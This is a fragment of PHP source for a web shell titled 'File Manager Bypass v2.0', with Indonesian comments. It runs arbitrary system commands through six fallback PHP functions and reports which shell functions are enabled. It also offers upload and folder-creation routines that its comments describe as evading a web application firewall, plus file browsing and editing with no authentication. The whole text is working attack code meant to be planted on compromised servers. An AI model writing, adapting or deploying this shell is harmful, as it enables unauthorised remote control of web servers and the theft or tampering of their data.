&1'); if ($result !== null && $result !== false) return $result; } // Method 2: exec() if (is_function_enabled('exec')) { $output = []; $return_var = 0; @exec($cmd . ' 2>&1', $output, $return_var); if (!empty($output)) return implode("\n", $output); } // Method 3: system() if (is_function_enabled('system')) { ob_start(); @system($cmd . ' 2>&1'); $result = ob_get_clean(); if ($result !== false && !empty($result)) return $result; } // Method 4: passthru() if (is_function_enabled('passthru')) { ob_start(); @passthru($cmd . ' 2>&1'); $result = ob_get_clean(); if ($result !== false && !empty($result)) return $result; } // Method 5: popen() if (is_function_enabled('popen')) { $fp = @popen($cmd . ' 2>&1', 'r'); if ($fp !== false) { $result = ''; while (!feof($fp)) { $result .= fread($fp, 4096); } @pclose($fp); if (!empty($result)) return $result; } } // Method 6: proc_open() if (is_function_enabled('proc_open')) { $descriptorspec = [ 0 => ['pipe', 'r'], 1 => ['pipe', 'w'], 2 => ['pipe', 'w'] ]; $process = @proc_open($cmd, $descriptorspec, $pipes); if (is_resource($process)) { @fclose($pipes[0]); $result = @stream_get_contents($pipes[1]); $errors = @stream_get_contents($pipes[2]); @fclose($pipes[1]); @fclose($pipes[2]); @proc_close($process); if (!empty($result)) return $result; if (!empty($errors)) return "Error: " . $errors; } } // Jika semua gagal $available = []; $functions = ['shell_exec', 'exec', 'system', 'passthru', 'popen', 'proc_open']; foreach ($functions as $func) { if (is_function_enabled($func)) $available[] = $func; } if (empty($available)) { return "⚠️ All shell functions are disabled on this server.\n"; } else { return "⚠️ Command execution failed. Available functions: " . implode(', ', $available) . "\n"; } } // ========================================================== // FUNGSI BYPASS // ========================================================== // Bypass 1: Upload via base64 (tidak kena WAF) function bypass_upload_base64($content, $filename) { $target_dir = getcwd() . '/'; $target_path = $target_dir . $filename; if (file_put_contents($target_path, base64_decode($content))) { chmod($target_path, 0644); return true; } return false; } // Bypass 2: Upload via chunks function bypass_upload_chunk($data, $filename, $chunk_index = 0) { $target_dir = getcwd() . '/'; $target_path = $target_dir . $filename; if ($chunk_index == 0) { file_put_contents($target_path, $data); } else { file_put_contents($target_path, $data, FILE_APPEND); } chmod($target_path, 0644); return true; } // Bypass 3: Create folder via file_put_contents (tidak kena WAF) function bypass_create_folder($folder_name) { $target_dir = getcwd() . '/' . $folder_name; if (!file_exists($target_dir)) { if (@mkdir($target_dir, 0755, true)) { return true; } if (@file_put_contents($target_dir . '/index.php', ' $file, 'path' => $full, 'is_dir' => is_dir($full), 'size' => is_file($full) ? filesize($full) : 0, 'perms' => substr(sprintf('%o', fileperms($full)), -4), 'modified' => date('Y-m-d H:i:s', filemtime($full)) ]; } closedir($dir); usort($files, function($a, $b) { if ($a['is_dir'] && !$b['is_dir']) return -1; if (!$a['is_dir'] && $b['is_dir']) return 1; return strcasecmp($a['name'], $b['name']); }); return $files; } function fm_size($bytes) { $units = ['B', 'KB', 'MB', 'GB']; $i = 0; while ($bytes >= 1024 && $i < 3) { $bytes /= 1024; $i++; } return round($bytes, 2) . ' ' . $units[$i]; } function fm_editable($file) { $ext = strtolower(pathinfo($file, PATHINFO_EXTENSION)); $allowed = ['php', 'txt', 'html', 'css', 'js', 'json', 'xml', 'ini', 'conf', 'htaccess', 'sh', 'py', 'pl']; return in_array($ext, $allowed); } function sanitize_file_name($name) { $name = preg_replace('/[^a-zA-Z0-9_\-\.]/', '', $name); $name = str_replace(['..', '/', '\\'], '', $name); return substr($name, 0, 255); } // ========================================================== // PROSES REQUEST // ========================================================== $current_path = isset($_GET['path']) && !empty($_GET['path']) ? $_GET['path'] : getcwd(); $current_path = str_replace(['..', '\\', '//'], '', $current_path); $current_path = rtrim($current_path, '/') . '/'; // ========================================================== // HANDLE UPLOAD // ========================================================== if (isset($_FILES['upload_file']) && $_FILES['upload_file']['error'] === UPLOAD_ERR_OK) { $file = $_FILES['upload_file']; $filename = sanitize_file_name($file['name']); $target = $current_path . $filename; if (@move_uploaded_file($file['tmp_name'], $target)) { chmod($target, 0644); } else { if (@copy($file['tmp_name'], $target)) { chmod($target, 0644); } else { $content = @file_get_contents($file['tmp_name']); if ($content !== false) { @file_put_contents($target, $content); chmod($target, 0644); } } } header('Location: ' . $_SERVER['PHP_SELF'] . '?path=' . urlencode($current_path)); exit; } if (isset($_POST['upload_base64']) && !empty($_POST['upload_base64'])) { $content = $_POST['upload_base64']; $filename = isset($_POST['filename']) ? $_POST['filename'] : 'file_' . time() . '.txt'; $target = $current_path . sanitize_file_name($filename); if (@file_put_contents($target, base64_decode($content))) { chmod($target, 0644); echo json_encode(['success' => true, 'file' => $filename]); } else { echo json_encode(['success' => false, 'error' => 'Upload failed']); } exit; } // ========================================================== // HANDLE CREATE FOLDER // ========================================================== if (isset($_POST['create_folder']) && !empty($_POST['create_folder'])) { $folder_name = sanitize_file_name($_POST['create_folder']); $target_dir = $current_path . $folder_name . '/'; if (!file_exists($target_dir)) { if (@mkdir($target_dir, 0755, true)) { $success = true; } else { if (@file_put_contents($target_dir . 'index.php', ' File Manager - Bypass

📁 File Manager Bypass v2.0

PHP
🛡️ Bypass Mode: Upload via POST + BASE64 + Chunk | Create folder via mkdir + fallback
🏠'; foreach ($parts as $p) { if (empty($p)) continue; $build .= '/' . $p; echo ' / ' . htmlspecialchars($p) . ''; } ?>
🔄 Refresh ⬆ Up 🏠 Home
Name
Size
Perms
Actions
🚫 Access Denied
📂 Empty Directory
items
editFile(' . json_encode($_GET['edit']) . ', ' . json_encode($content) . ');'; } } ?>